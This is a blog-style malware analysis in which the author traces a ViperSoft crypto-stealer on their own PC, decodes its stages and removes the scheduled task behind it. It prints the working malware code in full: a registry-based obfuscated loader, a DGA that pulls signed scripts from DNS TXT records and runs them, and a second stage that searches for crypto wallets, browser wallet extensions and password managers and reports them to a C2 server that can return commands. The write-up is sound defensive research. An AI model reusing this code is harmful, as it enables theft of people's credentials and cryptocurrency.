ViperSoft Stealer

So today wasn’t anything special, except that those really annoying Powershell windows that occasionally open on my screen for a split-second and close finally broke me. I started noticing them on one of my secondary computers that I don’t use on a daily basis, so I decided to dig down since I started to get this feeling that this wasn’t Microsoft playing tricks on me.

I started by opening the Windows Event Viewer and searching for 4688 (process created) event IDs. I found the following log that certinly does not look ok:

Yikes!

So, I went over to that directory and inspected the ps1. Lo and behold:

$yNneDKWzThUZu=[ScriptBlock]; 
icm ($yNneDKWzThUZu::Create([string]::Join('', ((gp (([regex]::Matches('gJYZR9dtsohGrebyC\ERAWTFOS\:MLKH','.','RightToLeft') | ForEach {$_.value}) -join '')).'fu4cialTP7G' | % { [char]$_ }))))

Almost instantly I noticed the string “gJYZR9dtsohGrebyC” which looks like a reverse Registry path. That turned out to be true, which leads us to our next clue:

Inspecting the content of that key gives us a hexdump, and after analyzing it provides the following code:

function Microsoft {
param (
$windows,
$linux
)
try {
$dns = Resolve-DnsName -Name $windows -Type 'TXT'
$ms = [IO.MemoryStream]::new()
foreach ($txt in $dns) {
try {
if ($txt.Type -ne 'TXT') {
continue
}
$pkt = [string]::Join(' ', $txt.Strings)
if ($pkt[0] -eq '.') {
$dp = ([type]((([regex]::Matches('trevnoC', '.', 'RightToLeft') | ForEach {$_.value}) -join ''))).GetMethods()[306].Invoke($null, @($pkt.Substring(1).Replace('_', '+')))
$ms.Position = [BitConverter]::ToUInt32($dp, 0)
$ms.Write($dp, 4, $dp.Length - 4)
}
}
catch {
}
}
if ($ms.Length -gt 136) {
$ms.Position = 0
$sig = [byte[]]::new(128)
$timestamp = [byte[]]::new(8)
$buffer = [byte[]]::new($ms.Length - 136)
$ms.Read($sig, 0, 128) | Out-Null
$ms.Read($timestamp, 0, 8) | Out-Null
$ms.Read($buffer, 0, $buffer.Length) | Out-Null
$pubkey = [Security.Cryptography.RSACryptoServiceProvider]::new()
[byte[]]$bytarr = 6,2,0,0,0,164,0,0,82,83,65,49,0,4,0,0,1,0,1,0,171,136,19,139,215,31,169,242,133,11,146,105,79,13,140,88,119,0,2,249,79,17,77,152,228,162,31,56,117,89,68,182,194,170,250,16,3,78,104,92,37,37,9,250,164,244,159,118,92,190,58,20,35,134,83,10,229,114,229,137,244,178,10,31,46,80,221,73,129,240,183,9,245,177,196,77,143,71,142,60,5,117,241,54,2,116,23,225,145,53,46,21,142,158,206,250,181,241,8,110,101,84,218,219,99,196,195,112,71,93,55,111,218,209,12,101,165,45,13,36,118,97,232,19,3,245,221,180,169
$pubkey.ImportCspBlob($bytarr)
if ($pubkey.VerifyData($buffer, [Security.Cryptography.CryptoConfig]::MapNameToOID('SHA256'), $sig)) {
return @{
timestamp = ([System.BitConverter]::ToUInt64($timestamp, 0))
text = ([Text.Encoding]::UTF8.GetString($buffer))
}
}
}
}
catch {
}
return $null
}

while ($true) {
try {
$ko = @{
timestamp = 0
text = ''
}

foreach ($c in @("com", "xyz")) {
foreach ($a in @("wmail", "fairu", "bideo", "privatproxy", "ahoravideo")) {
foreach ($b in @("endpoint", "blog", "chat", "cdn", "schnellvpn")) {
try {
$wowo = "$a-$b.$c"
$roro = Microsoft $wowo $wowo
if ($null -ne $roro) {
if ($roro.timestamp -gt $ko.timestamp) {
$ko = $roro
}
}
}
catch {
}
}
}
}

if ($ko.text) {
$job = Start-Job -ScriptBlock ([scriptblock]::Create($ko.text))
$job | Wait-Job -Timeout 15500
$job | Stop-Job
}
}
catch {
}
Start-Sleep -Seconds 35}

That’s quite an interesting piece of code. The gist of it, is that this is a variant of a cryptostealer called ViperSoft. Basically this code uses a DGA (Domain Generation Algorithm) to generate 50 different domains, and then it will check their TXT records. If any data is found there, it will run it as a Scriptblock.

So what I did now was to write a small Python script that would iterate over each of those 50 domains text records and save them to a file for me. Out of the 50 domains, only 2 returned interesting results. Let’s start with the first one: ahoravideo-endpoint.xyz ->

After decoding that Base64, we get the following text:

#######################HELLO########################## ###YOU ARE LUCKY I SAVED YOU FROM BECOMING A VICTIM### #################OF ASSHOLE MAL;W!RE################## ################clean your device NOW################# ############DIARHEA TO ALL COINSTEALERS############### #############EARN YOUR MONEY YOU PUPPETS##############

Looks like we have a warrior of justice in our ranks who took down that domain and changed the malicious TXT records. Thank you, random person!

However, things get more interesting with the second domain: bideo-cdn.xyz
That domain’s TXT records are as follows:

So if we remove the dots, spaces and quotes, we get 5 distinct pieces of code. After combining them into one long piece and decoding, we get the following:

Good stuff! I was hoping that the stealer logic itself would be in the code, but that does not seem to be the case. We have to calculate our guid and send it as a parameter to the API call for “apibilng”, so let’s do exactly that:

Now we get a HUGE piece of Base64. We can’t just decode it normally, because the previous Powershell code uses a BXOR operation to decode it. So let’s implement it in Python:

We get the following result:

$meta_request = 'Censorsed for privacy';
$meta_version = Censorsed for privacy;
$meta_guid = Censorsed for privacy;
$meta_mutex = 'Censorsed for privacy';
$meta_ip = 'Censorsed for privacy';
$meta_host = 'apibilng.com';

############################

$createdNew = $false;
$mutex = [System.Threading.Mutex]::new($true, $meta_mutex, [ref]$createdNew);
if ($createdNew -eq $false) {
Start-Sleep -Seconds 300;
return;
}

$_headers = [Text.Encoding]::ASCII.GetString(([type]((([regex]::Matches('trevnoC','.','RightToLeft') | ForEach {$_.value}) -join ''))).GetMethods()[306].Invoke($null, @(($meta_request)))) -split "`r`n"
$http_request = @{};
$http_headers = @{};
$http_request.path = ($_headers[0] -split ' ')[1];

for ($i = 1; $i -lt $_headers.Length; $i++) {
[string[]]$h = $_headers[$i] -split ': ';
if ($h.Length -lt 2) {
break;
}
$http_headers[$h[0]] = $h[1];
}

$session = @{};
$session.id = -1;
$session.update = $true;

Add-Type -AssemblyName System.Net.Http
$client = [System.Net.Http.HttpClient]::new();
$client.Timeout = [TimeSpan]::FromMinutes(2);
$client.BaseAddress = [Uri]::new("http://$($meta_host)");


function Test-Unicode {
param (
$str
)
for ($i = 0; $i -lt $str.Length; $i++) {
if ($str[$i] -gt 255) {
return $true;
}
}
return $false;
}

$searchPaths = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\OneDrive\Desktop",
([Environment]::GetFolderPath("Desktop")),
"$env:PUBLIC\Desktop",
"$env:ALLUSERSPROFILE\Microsoft\Windows\Start Menu\Programs",
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs",
"$env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
);

$searchEntries = @(
[pscustomobject]@{
root = '%appdata%'
targets =
[pscustomobject]@{
name = 'Exodus-A'
path = 'Exodus'
},
[pscustomobject]@{
name = 'Atomic-A'
path = 'Atomic Wallet'
},
[pscustomobject]@{
name = 'Electrum-A'
path = 'Electrum'
},
[pscustomobject]@{
name = 'Ledger-A'
path = 'Ledger Live'
},
[pscustomobject]@{
name = 'Jaxx-A'
path = 'Jaxx Liberty'
},
[pscustomobject]@{
name = 'com.liberty.jaxx-A'
path = 'com.liberty.jaxx'
},
[pscustomobject]@{
name = 'Guarda-A'
path = 'Guarda'
},
[pscustomobject]@{
name = 'Armory-A'
path = 'Armory'
},
[pscustomobject]@{
name = 'DELTA-A'
path = 'DELTA'
},
[pscustomobject]@{
name = 'TREZOR-A'
path = 'TREZOR Bridge'
},
[pscustomobject]@{
name = 'Bitcoin-A'
path = 'Bitcoin'
},
[pscustomobject]@{
name = 'binance-A'
path = 'binance'
}
},
[pscustomobject]@{
root = '%localappdata%'
targets =
[pscustomobject]@{
name = 'Blockstream-A'
path = 'Blockstream Green'
},
[pscustomobject]@{
name = 'Coinomi-A'
path = 'Coinomi'
}
},
[pscustomobject]@{
root = '%localappdata%\Google\Chrome\User Data\Default\Extensions'
targets =
[pscustomobject]@{
name = 'Metamask-C'
path = 'nkbihfbeogaeaoehlefnkodbefgpgknn'
},
[pscustomobject]@{
name = 'MEWcx-C'
path = 'nlbmnnijcnlegkjjpcfjclmcfggfefdm'
},
[pscustomobject]@{
name = 'Coin98-C'
path = 'aeachknmefphepccionboohckonoeemg'
},
[pscustomobject]@{
name = 'Binance-C'
path = 'fhbohimaelbohpjbbldcngcnapndodjp'
},
[pscustomobject]@{
name = 'Jaxx-C'
path = 'cjelfplplebdjjenllpjcblmjkfcffne'
},
[pscustomobject]@{
name = 'Coinbase-C'
path = 'hnfanknocfeofbddgcijnmhnfnkdnaad'
}
},
[pscustomobject]@{
root = '%localappdata%\Microsoft\Edge\User Data\Default\Extensions'
targets =
[pscustomobject]@{
name = 'Metamask-E'
path = 'ejbalbakoplchlghecdalmeeeajnimhm'
},
[pscustomobject]@{
name = 'Coinomi-E'
path = 'gmcoclageakkbkbbflppkbpjcbkcfedg'
}
},
[pscustomobject]@{
root = '%localappdata%\BraveSoftware\Brave-Browser\User Data\Default\Extensions'
targets =
[pscustomobject]@{
name = 'Metamask-B'
path = 'nkbihfbeogaeaoehlefnkodbefgpgknn'
},
[pscustomobject]@{
name = 'MEWcx-B'
path = 'nlbmnnijcnlegkjjpcfjclmcfggfefdm'
},
[pscustomobject]@{
name = 'Coin98-B'
path = 'aeachknmefphepccionboohckonoeemg'
},
[pscustomobject]@{
name = 'Binance-B'
path = 'fhbohimaelbohpjbbldcngcnapndodjp'
},
[pscustomobject]@{
name = 'Jaxx-B'
path = 'cjelfplplebdjjenllpjcblmjkfcffne'
},
[pscustomobject]@{
name = 'Coinbase-B'
path = 'hnfanknocfeofbddgcijnmhnfnkdnaad'
}
},
[pscustomobject]@{
root = '%SystemDrive%'
targets =
[pscustomobject]@{
name = 'KeePass-A'
path = 'Program Files (x86)\KeePass Password Safe 2\KeePass.exe.config'
},
[pscustomobject]@{
name = 'KeePass-B'
path = 'Program Files\KeePass Password Safe 2\KeePass.exe.config'
}
},
[pscustomobject]@{
root = '%localappdata%'
targets =
[pscustomobject]@{
name = '1Password'
path = '1Password'
}
}
);

function Get-InstallStatus {
param (
$appname
)
$versions = New-Object Collections.Generic.List[string];
$active = 0;
$inactive = 0;
$rgx = New-Object 'System.Text.RegularExpressions.Regex' '\s?--load-extension=(("[^\r\n"]*")|([^\r\n\s]*))';
$shell = New-Object -comObject WScript.Shell
for ($searchPath_index = 0; $searchPath_index -lt $searchPaths.Count; $searchPath_index++) {
$searchPath = $searchPaths[$searchPath_index];
if ((Test-Path $searchPath) -eq $false) {
continue;
}
$lnks = [IO.Directory]::GetFiles($searchPath, "*.lnk");
foreach ($lnk in $lnks) {
if ((Test-Unicode $lnk)) {
$tmppath = [IO.Path]::GetTempFileName() + ".lnk";
[IO.File]::Copy($lnk, $tmppath, $true);
$lnk = $tmppath;
}
$lnkobj = $shell.CreateShortcut($lnk);
$target = $lnkobj.TargetPath;
if ([string]::IsNullOrEmpty($target)) {
continue;
}
if ((Test-Path $target) -eq $false) {
continue;
}
$target = (Resolve-Path -Path $target).Path.ToLower();
if ($target.EndsWith($appname, 'OrdinalIgnoreCase')) {
$enabled = $false;
$arguments = $lnkobj.Arguments;
if ($null -ne $arguments) {
$m = $rgx.Match($arguments);
if ($m.Success -eq $true) {
$path = $m.Groups[1].Value;
$path = $path.Trim('"');
$enabled = ((Test-Path $path) -eq $true);
if ($enabled) {
try {
$versionName = (Select-String -LiteralPath "$path\manifest.json" -Pattern '"version": "(.*)",').Matches.Groups[1].Value;
try {
$versionName += "-" + (Select-String -LiteralPath "$path\manifest.json" -Pattern '"author": "(.*)",').Matches.Groups[1].Value;
} catch {
}
if (-not $versions.Contains($versionName)) {
$versions.Add($versionName);
}
}
catch {
}
}
}
}
if ($enabled) {
$active++;
}
else {
$inactive++;
}
}
}
}

if (($active -eq 0) -and ($inactive -eq 0)) {
return $null;
}
elseif ($inactive -gt 0) {
return 'NOK';
}
return "OK($([string]::Join(', ', $versions)))";
}

function Get-Apps {
$results = New-Object Collections.Generic.List[string];

$appEntries = @('chrome.exe', 'brave.exe', 'msedge.exe', 'opera.exe');
foreach ($appEntry in $appEntries) {
$status = Get-InstallStatus $appEntry;
if ($null -eq $status) {
continue;
}
$results.Add("$([System.IO.Path]::GetFileNameWithoutExtension($appEntry))-$($status)");
}

$status = Get-InstallStatus 'Opera\launcher.exe';
if ($null -ne $status) {
$results.Add("opera1-$($status)");
}

foreach ($entry in $searchEntries) {
$rootdir = [System.Environment]::ExpandEnvironmentVariables($entry.root);
foreach ($target in $entry.targets) {
if ((Test-Path -Path (Join-Path -Path $rootdir -ChildPath $target.path))) {
$results.Add($target.name)
}
}
}
return [string]::Join(', ', $results);
}

function Get-UserInfo {

$info = @{
os = "";
cm = "$($env:USERDOMAIN)\$($env:USERNAME)";
av = "";
apps = [string](Get-Apps);
ip = $http_headers['CF-Connecting-IP'];
ver = $env:_v;
}
return ConvertTo-Json $info -Compress;
}

function Invoke-Request {
param (
[byte[]]
$buf
)

for ($i = 0; $i -lt $buf.Length; $i++) {
$buf[$i] = $buf[$i] -bxor 22;
}

$r = $client.PostAsync("api/$([guid]::NewGuid().ToString())", [Net.Http.ByteArrayContent]::new($data)).GetAwaiter().GetResult();
$r.EnsureSuccessStatusCode() | Out-Null;
$res = $r.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult();
$r.Dispose();

for ($i = 0; $i -lt $res.Length; $i++) {
$res[$i] = $res[$i] -bxor 22;
}

return $res;
}

function Get-UserID {
if ($session.id -ne -1) {
return $session.id;
}
$ms = New-Object 'System.IO.MemoryStream'
$ms.Write([BitConverter]::GetBytes([uint32]$meta_version), 0, 4);
$ms.WriteByte(1);
$ms.Write([BitConverter]::GetBytes([uint32]$meta_guid), 0, 4);
$data = $ms.ToArray();
$ms.Dispose();

$res = Invoke-Request $data;
if ($res.Length -ne 4) {
throw "";
}

$session.id = [BitConverter]::ToInt32($res, 0);
return $session.id;
}

function Get-Updates {
$uid = Get-UserId;
$ms = New-Object 'System.IO.MemoryStream'
$ms.Write([BitConverter]::GetBytes([uint32]$meta_version), 0, 4);
$ms.WriteByte(2);
$ms.Write([BitConverter]::GetBytes([int]$uid), 0, 4);
if ($session.update) {
$_userinfo = '';
try {
$_userinfo = Get-UserInfo;
}
catch {
$_userinfo = ConvertTo-Json @{
error = $_.Exception.Message;
line = $_.Exception.Line;
offset = $_.Exception.Offset;
}
}
[byte[]]$userinfo = [Text.Encoding]::UTF8.GetBytes($_userinfo);
$ms.Write($userinfo, 0, $userinfo.Length);
}
$data = $ms.ToArray();
$ms.Dispose();

$res = Invoke-Request $data;

if ($res.Length -lt 4) {
throw "";
}
$f = [BitConverter]::ToUInt32($res, 0);
$session.update = ($f -band 0x1) -eq 1;
if ($res.Length -gt 4) {
return ([Text.Encoding]::UTF8.GetString($res, 4, $res.Length - 4));
}
return $null;
}

function Set-Updates {
param (
[string]
$command
)
$lines = $command -split "`r`n";
foreach ($line in $lines) {
$job = Start-Job -ScriptBlock ([Scriptblock]::Create([Text.Encoding]::UTF8.GetString(([type]((([regex]::Matches('trevnoC','.','RightToLeft') | ForEach {$_.value}) -join ''))).GetMethods()[306].Invoke($null, @(($line))))))
Wait-Job -Job $job -Timeout 10
}
}

function f2()
{
$v1 = Get-Updates;
if ($null -ne $v1) {
Set-Updates $v1;
}
}

$tm = [Timers.Timer]::new((30 * 1000));
$cb = { Get-Process | Where-Object { (($_.Name -eq 'wscript') -or ($_.Name -eq 'cscript')) -and (([datetime]::now - $_.StartTime).TotalMinutes -gt 1) } | Stop-Process -Force }
Register-ObjectEvent -InputObject $tm -EventName 'Elapsed' -Action $cb
$tm.Start();

$rr = 0;
while ($rr -lt 10) {
try {
f2;
$rr = 0;
}catch
{
$rr++;
}
Start-Sleep -Seconds 32;
}

So quite a bit of things here, we can see it can get our user info, it also scans for common Crypto wallets paths, chromium-based browsers extensions, and more. The interesting thing is, that if the code detects any crypto-related stuff on your PC, it doesn’t actually do anything yet — it just informs the C&C server.

As my last step of remediation, I used Autoruns to scan for malicious tasks, and was able to find the culprit:

I deleted that task, restarted the PC, monitored it for couple of hours, and it looks like that did the trick. The malware is out. Win for the defenders!

Well, that was it for today, I’ve had a great time analyzing this stealer. I also want to thank Ran Locar(https://www.linkedin.com/in/ranlocar/) for greatly assisting me, without him I wouldn’t get the full picture 🙂